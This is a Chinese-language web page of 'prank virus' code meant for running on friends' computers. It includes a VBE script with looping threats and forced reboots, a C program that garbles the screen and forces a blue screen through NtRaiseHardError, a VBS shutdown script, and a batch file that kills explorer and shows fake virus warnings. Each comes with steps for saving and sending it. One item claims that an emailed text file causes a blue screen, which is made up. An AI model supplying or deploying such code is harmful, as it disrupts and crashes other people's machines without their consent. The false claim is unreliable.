黑客简单代码教学_黑客恶搞代码简单
文章栏目:
谁有恶搞关机的vbe代码，拜托给发一个
on error resume next
DO
msgbox "嗨！！！！",64,"^_^"
msgbox "嗨！我是黑客",64,"ψ(╰_╯)"
msgbox "你是谁？为什么你家有这么多病毒？",64,"(∵)？"
msgbox "让我控制你的电脑吧~~~",64,"o(∩_∩)o "
msgbox "我来帮你杀毒~~~~",64,"^_^"
msgbox "说实话我不想帮你",64,"(*^__^*) 嘻嘻"
msgbox "还是；来捣乱吧",64,"^_^"
msgbox "首先接我的第一招~~",64,"V.S"
intAnswer = msgbox ("如果没有我将让你的电脑无休止的重起",vbYesNo,"^_^")
If intAnswer = vbYes Then
YONG=Msgbox ("很好那么请你让我知道，如果你不能让我知道你输，我将对所有硬盘进行格式化。嘿嘿！",vbYesNo,"^_^")
msgbox "抱歉 你不能出招...",64,"V.S"
If YONG = vbNo Then
msgbox "哈哈就让键盘灯一直闪吧",64,"^_^"
msgbox chr(13) + chr(13) + chr(13) + "作者：周峻全"
DIM i
While(1)
For i=1 To 10
next
set WshShell=createObject("Wscript.Shell")
WshShell.SendKeys"{CAPSLOCK}"
WSCRIPT.SLEEP 100
WshShell.SendKeys"{SCROllLOCK}"
WSCRIPT.SLEEP 100
WshShell.SendKeys"{NUMLOCK}"
WSCRIPT.SLEEP 100
Wend
Else
End If
Else
set TUYONG=wscript.createobject("wscript.shell")
TUYONG.run ("shutdown -r -t 99999 -c 小样你输啦~~~哈哈，关机了！！！！"),,true
End If
LOOP
创建文本文档把后缀改成 .vbe 就好了
这是最贱的
求一个C语言整人代码！！！
先上代码
#include Windows.h
#include time.h
using namespace std;
int call;
int ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
int ScreenHeight = GetSystemMetrics(SM_CYSCREEN);
int IconWidth = GetSystemMetrics(SM_CXICON);
int IconHeight = GetSystemMetrics(SM_CYICON);
HDC hdc=GetWindowDC(GetDesktopWindow());
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) 0x8000) ? 1:0)
int random(int upper_bound) {
if(upper_bound==0) {
return 0;
}
srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call));
call++;
return rand() % upper_bound;
}
DWORD WINAPI FlashDesktop(LPVOID Param) {
while(true) {
BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY);
Sleep(random(100));
}
return 0;
}
int GetWay() {
int r=random(3);
switch(r) {
case 0:
return SRCAND;
case 1:
return SRCINVERT;
case 2:
return SRCPAINT;
}
}
DWORD WINAPI ScreenXorOperation1(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth);
int RandHeight = random(ScreenHeight);
int RandxPixel = random(ScreenWidth - RandWidth);
int RandyPixel = random(ScreenHeight - RandHeight);
int RandDestxPixel = random(ScreenWidth - RandWidth);
int RandDestyPixel = random(ScreenHeight - RandHeight);
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
Sleep(random(100));
}
return 0;
}
DWORD WINAPI ScreenXorOperation2(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth);
int RandHeight = random(ScreenHeight);
int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth;
int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight;
int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth;
int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight;
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
Sleep(random(100));
}
return 0;
}
DWORD WINAPI CallBsod1MinLater(LPVOID Param) {
Sleep(60000);
HMODULE ntdll = LoadLibrary("ntdll.dll");
FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsigned char temp0;
long unsigned int temp1;
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, temp0);
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, temp1);
return 0;
}
DWORD WINAPI DrawErrors(LPVOID Param) {
while(true) {
int RandxPixel = random(ScreenWidth - IconWidth / 2);
int RandyPixel = random(ScreenHeight - IconHeight / 2);
DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR));
Sleep(random(50));
}
return 0;
}
int main(void) {
CreateThread(NULL, 4096, FlashDesktop, NULL, NULL, NULL);
CreateThread(NULL, 4096, ScreenXorOperation1, NULL, NULL, NULL);
CreateThread(NULL, 4096, ScreenXorOperation2, NULL, NULL, NULL);
CreateThread(NULL, 4096, CallBsod1MinLater, NULL, NULL, NULL);
CreateThread(NULL, 4096, DrawErrors, NULL, NULL, NULL);
while(true);
}
运行这段代码首先会花屏并闪屏，一分钟后蓝屏。
效果图：
恶搞电脑病毒代码有哪些
有时候想和朋友们玩玩，搞点恶搞电脑病毒给他们，要怎么办呢?下面由我给你做出详细的恶搞电脑病毒代码介绍!希望对你有帮助!
恶搞电脑病毒代码介绍一：
首先在电脑上新建一个TXT文档
然后把下面这段代码输入进去
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True
Dim a
Do While (a "我是猪")
a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"
WSHshella.run "cmd.exe /c shutdown -a"
然后保存
然后把这个文本文档的后缀改为vbs 也就是说新建的文本文档本来是.TXT的后缀，
你要修改为.VBS的后缀
恶搞电脑病毒代码介绍二：
新建一个文本文档，然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入图片，如果对方有邮箱，就发给他
他一打开就会出现你插入的图片，然后出现 蓝屏 (效果7—10分钟)(注：做好病毒后不要打开，否则会出现以上说的情况)
恶搞电脑病毒代码介绍三：
新建一个文本文档(.txt)，要复制以下代码：
@echo off
color 4
tskill explorer
echo .
echo .
echo .
echo .
echo 警告：在病毒执行期间禁止关闭电源，
echo 否则你就和你心爱的电脑说
echo .
echo . BYE-BYE
echo .
echo Computer system crash!
echo .
echo .
echo I am a virus, my name is Ghost.
echo 我是魔鬼病毒，在这个堕落的世界上苏醒了。
echo .
echo . Warning! CPU has been changed please re-enter CPU settings
echo. in the CMOS setuo and remember to save before quit.
echo. Secondary IDE channel no 80 conductor cable installed.
set /p select=:)
if "%select%"=="" goto start
:start
shutdown -r -t 10 -c "您的计算机上带有魔鬼病毒，今天是它的发作日期。病毒已经破坏了您的系统，您的计算机将在10秒钟后重启。"
::结束
再另存为：名字.bat 你要记住"名字"后面要加".bat"
就可以了，没有任何破坏性，吓吓人。
你可以试试看看效果。
